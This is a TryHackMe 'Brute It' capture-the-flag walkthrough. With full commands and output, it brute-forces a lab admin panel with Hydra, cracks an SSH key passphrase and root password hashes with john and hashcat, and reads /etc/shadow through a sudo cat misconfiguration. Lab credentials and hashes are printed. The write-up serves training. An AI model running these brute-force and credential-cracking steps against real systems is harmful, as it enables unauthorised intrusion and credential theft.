TryHackMe : Brute It Walkthrough

Brute It

Brute It is a beginner-friendly room on TryHackMe that focuses on enumeration, brute-forcing, and privilege escalation. Let’s go step by step.

🔎 Step 1: Reconnaissance

• Instead of running a slow full Nmap scan, I started with RustScan for fast port discovery:

rustscan -a <TARGET_IP> --ulimit 5000

┌──(kali㉿kali)-[~]
└─$ rustscan -a thm --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.201.13.45:22
Open 10.201.13.45:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 18:36 IST
Initiating Ping Scan at 18:36
Scanning 10.201.13.45 [4 ports]
Completed Ping Scan at 18:36, 0.25s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:36
Scanning thm (10.201.13.45) [2 ports]
Discovered open port 80/tcp on 10.201.13.45
Discovered open port 22/tcp on 10.201.13.45
Completed SYN Stealth Scan at 18:36, 0.27s elapsed (2 total ports)
Nmap scan report for thm (10.201.13.45)
Host is up, received reset ttl 60 (0.22s latency).
Scanned at 2025-08-18 18:36:20 IST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 60
80/tcp open  http    syn-ack ttl 60

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds
           Raw packets sent: 6 (240B) | Rcvd: 191 (7.648KB)

• RustScan quickly identified two open ports:

Open <IP>:22
Open <IP>:80

• To confirm details, I ran an Nmap service scan on those ports:

nmap -sC -sV -p 22,80 <TARGET_IP>

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80 thm        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 18:38 IST
Nmap scan report for thm (10.201.13.45)
Host is up (0.42s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
|   256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
|_  256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.80 seconds

Result:

• SSH → OpenSSH 7.6p1 (Ubuntu)
• HTTP → Apache 2.4.29 (Ubuntu)

THM Task: How many ports are open? : 2 THM Task: What version of SSH is running? : OpenSSH 7.6p1 THM Task: What version of Apache is running? : 2.4.29 THM Task: Which Linux distribution is running? : Ubuntu

🌐 Step 2: Exploring the Website

• Opening the target IP in the browser showed the default Apache landing page , nothing useful.

• Press enter or click to view image in full size
• So I used Gobuster to look for hidden directories:

gobuster dir -u http://<Target-Ip> -w /usr/share/wordlists/dirb/common.txt

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.201.13.45 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.13.45
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/admin                (Status: 301) [Size: 312] [--> http://10.201.13.45/admin/]
/index.html           (Status: 200) [Size: 10918]
/server-status        (Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

👉 THM Task: What is the hidden directory? /admin

🔐 Step 3: Brute-Forcing Admin Panel

• Open source-code
• here we get the username: admin

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="styles.css">
    <title>Admin Login Page</title>
</head>
<body>
    <div class="main">
        <form action="" method="POST">
            <h1>LOGIN</h1>


            <label>USERNAME</label>
            <input type="text" name="user">

            <label>PASSWORD</label>
            <input type="password" name="pass">

            <button type="submit">LOGIN</button>
        </form>
    </div>

    <!-- Hey john, if you do not remember, the username is admin -->
</body>
</html>

• At /admin, I found a login form. Since no credentials were known, I used Hydra to brute force with RockYou:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <TARGET_IP> http-post-form "/admin/:user=admin&pass=^PASS^:invalid"

[80][http-post-form] host: <IP_ADDRESS>   login: admin   password: xavier

👉 THM Task: What is the user:password of the admin panel? admin:xavier

📂 Step 4: Looting the Admin Panel

Inside the panel, I found:

• A web flag → THM{brut3_f0rce_is_e4sy}
• A username → john
• An id_rsa private key file

I downloaded the key:

curl http://<TARGET_IP>/admin/panel/id_rsa > id_rsa

┌──(kali㉿kali)-[~]
└─$ curl http://10.201.126.145/admin/panel/id_rsa > id_rsa

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1766  100  1766    0     0   2561      0 --:--:-- --:--:-- --:--:--  2559

🔑 Step 5: Cracking the SSH Key

• The RSA private key was encrypted, so I used ssh2john + john to crack it:

ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash

• John found the passphrase:

┌──(kali㉿kali)-[~]
└─$ john --show hash

id_rsa:rockinroll

1 password hash cracked, 0 left

rockinroll

👉 THM Task: Crack the RSA key. What is John’s RSA Private Key passphrase? rockinroll

💻 Step 6: SSH Access

• Now I could log in as john:

chmod 600 id_rsa
ssh -i id_rsa john@<TARGET_IP>

Enter passphrase → rockinroll ✅

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa john@10.201.126.145
The authenticity of host '10.201.126.145 (10.201.126.145)' can't be established.
ED25519 key fingerprint is SHA256:kuN3XXc+oPQAtiO0Gaw6lCV2oGx+hdAnqsj/7yfrGnM.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:22: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.201.126.145' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Aug 18 13:52:36 UTC 2025

  System load:  0.0                Processes:           104
  Usage of /:   25.7% of 19.56GB   Users logged in:     0
  Memory usage: 39%                IP address for ens5: 10.201.126.145
  Swap usage:   0%

63 packages can be updated.
0 updates are security updates.

Last login: Wed Sep 30 14:06:18 2020 from 192.168.1.106
john@bruteit:~$

Once inside:

john@bruteit:~$ ls -al
total 40
drwxr-xr-x 5 john john 4096 Sep 30  2020 .
drwxr-xr-x 4 root root 4096 Aug 28  2020 ..
-rw------- 1 john john  394 Sep 30  2020 .bash_history
-rw-r--r-- 1 john john  220 Aug 16  2020 .bash_logout
-rw-r--r-- 1 john john 3771 Aug 16  2020 .bashrc
drwx------ 2 john john 4096 Aug 16  2020 .cache
drwx------ 3 john john 4096 Aug 16  2020 .gnupg
-rw-r--r-- 1 john john  807 Aug 16  2020 .profile
drwx------ 2 john john 4096 Aug 16  2020 .ssh
-rw-r--r-- 1 john john    0 Aug 16  2020 .sudo_as_admin_successful
-rw-r--r-- 1 root root   33 Aug 16  2020 user.txt
john@bruteit:~$ cat user.txt 
THM{._........._.._..._._.......}
john@bruteit:~$

• User flag → THM{._........._.._..._._.......}

👉 THM Task: user.txt → THM{._........._.._..._._.......} 👉 THM Task: Web flag → THM{brut3_f0rce_is_e4sy}

📈 Step 7: Privilege Escalation

• I checked sudo permissions:

sudo -l

john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat
john@bruteit:~$

• That means I can run cat as root. So I read /etc/shadow:

sudo cat /etc/shadow

john@bruteit:~$ sudo cat /etc/shadow
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
thm:$6$hAlc6HXuBJHNjKzc$NPo/0/iuwh3.86PgaO97jTJJ/hmb0nPj8S/V6lZDsjUeszxFVZvuHsfcirm4zZ11IUqcoB9IEWYiCV.wcuzIZ.:18489:0:99999:7:::
sshd:*:18489:0:99999:7:::
john:$6$iODd0YaH$BA2G28eil/ZUZAV5uNaiNPE0Pa6XHWUFp7uNTp2mooxwa4UzhfC0kjpzPimy1slPNm9r/9soRw8KqrSgfDPfI0:18490:0:99999:7:::

• Extracted the root hash, then cracked it with Hashcat:

hashcat -m 1800 root_hash.txt /usr/share/wordlists/rockyou.txt 

──(kali㉿kali)-[~]
└─$ hashcat -m 1800 root_hash.txt /usr/share/wordlists/rockyou.txt 

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.0+debian  Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-13th Gen Intel(R) Core(TM) i7-13700HX, 2521/5106 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 4 secs

$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:football

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ...XEVgL.
Time.Started.....: Mon Aug 18 19:29:53 2025 (1 sec)
Time.Estimated...: Mon Aug 18 19:29:54 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1312 H/s (5.71ms) @ Accel:512 Loops:256 Thr:1 Vec:2
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 512/14344385 (0.00%)
Rejected.........: 0/512 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4864-5000
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> letmein
Hardware.Mon.#1..: Util: 22%

Started: Mon Aug 18 19:29:10 2025
Stopped: Mon Aug 18 19:29:55 2025

• Found root password:

football

👉 THM Task: What is the root’s password? football

🚀 Step 8: Root Access

• Logged in as root:

su root
Password: football
whoami

• Now I had root access ✅
• Captured final flag:

THM{........._..........}

👉 THM Task: root.txt → THM{………_……….}

🔗 Feel free to connect with me on LinkedIn.

Thank You…